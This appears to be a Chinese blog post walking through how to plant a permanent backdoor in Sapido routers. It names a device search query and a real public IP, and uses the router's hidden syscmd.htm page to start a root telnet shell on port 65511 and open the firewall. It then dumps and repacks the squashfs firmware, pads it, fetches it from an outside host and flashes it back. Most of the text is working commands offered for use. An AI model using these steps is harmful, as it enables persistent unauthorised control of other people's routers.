默认分类

sapido路由器修改squashfs文件系统,添加永久后门

搜索关键字

https://www.zoomeye.org/searchResult?q=app%3A%22Sapido%20Router%22
app:"Sapido Router"

进入路由器开发者留下的后门

http://123.0.102.173/syscmd.htm
打开telnet telnetd -l /bin/sh -p65511
防火墙允许所有连接进入 iptables -P INPUT ACCEPT

使用syscmd.htm页面上传有完整功能的mips架构软件浮点架构 busybox到tmp目录

chmod +x /tmp/tmpfile
mv /tmp/tmpfile /tmp/busybox

上传 /dev/mtdblock1

cat /dev/mtdblock1 >/tmp/dd1
使用有完整功能的busybox httpd -f -p83 在83端口架设Http服务器
下载wget http://123.0.102.173:83/dd1 到本地

分析 /dev/mtdblock1

unsquashfs -s dd1
root@# unsquashfs -s dd1
Found a valid SQUASHFS 4:0 superblock on dd1.
Creation or last append time Sat Mar 6 20:03:12 2038
Filesystem size 2174990 bytes (2124.01 Kbytes / 2.07 Mbytes)
Compression lzma
Block size 131072
Filesystem is exportable via NFS
Inodes are compressed
Data is compressed
Uids/Gids (Id table) are compressed
Fragments are compressed
Always-use-fragments option is specified
Xattrs are compressed
Duplicates are removed
Number of fragments 36
Number of inodes 1002
Number of ids 3
关键信息压缩格式为lzma 块大小为131072

解压dd1 squashfs到 squashfs-root/

unsquashfs dd1
squashfs-root/ 创建目录xxoo

重新打包squashfs发现新打包的镜像比原镜像小,刷入无法启动,我们需要使用源镜像文件尾的 E6 4B FF FF ....填充重新打包的镜像成和源镜像大小一致就可以启动了

mksquashfs squashfs-root/ sq.img -comp lzma -b 131072
ls -l sq.img dd1
-rw-r--r-- 1 root root 2572288 Apr 9 22:05 dd1
-rw-r--r-- 1 root root 2272288 Apr 9 22:41 sq.img

使用winhex分析源镜像和修改后的镜像发现源镜像文件尾使用hex E6 4B FF FF ....填充

文件尾部.png

使用dd命令提取源镜像文件从E6 4B后的内容填充到修改后的镜像

dd if=dd1 of=offset bs=1 skip=2560000 从源镜像文件dd1的2560000处到结尾提取到offset文件
cat offset >>sq.img

查看sq.img 还是没有dd1文件大,可以往squshfs-root目录放些大文件,重新打包,或者多次cat offset >>sq.img直到文件大小快超过源镜像文件,然后计算好大小,再次使用dd命令,裁剪到刚刚好大小 FF FF 添加到sq.img目录尾

将重新打包好的固件下载回路由器

/tmp/busybox wget http://sss.life:83/sq.img
cat /tmp/sq.img > /dev/mtdblock1
reboot

验证

ls /

bin init proc web
curl-4.8.tar.gz initt sys xxoo
dev lib tmp
etc mnt usr
home offset var
成功看到xxoo目录

回复

This is just a placeholder img.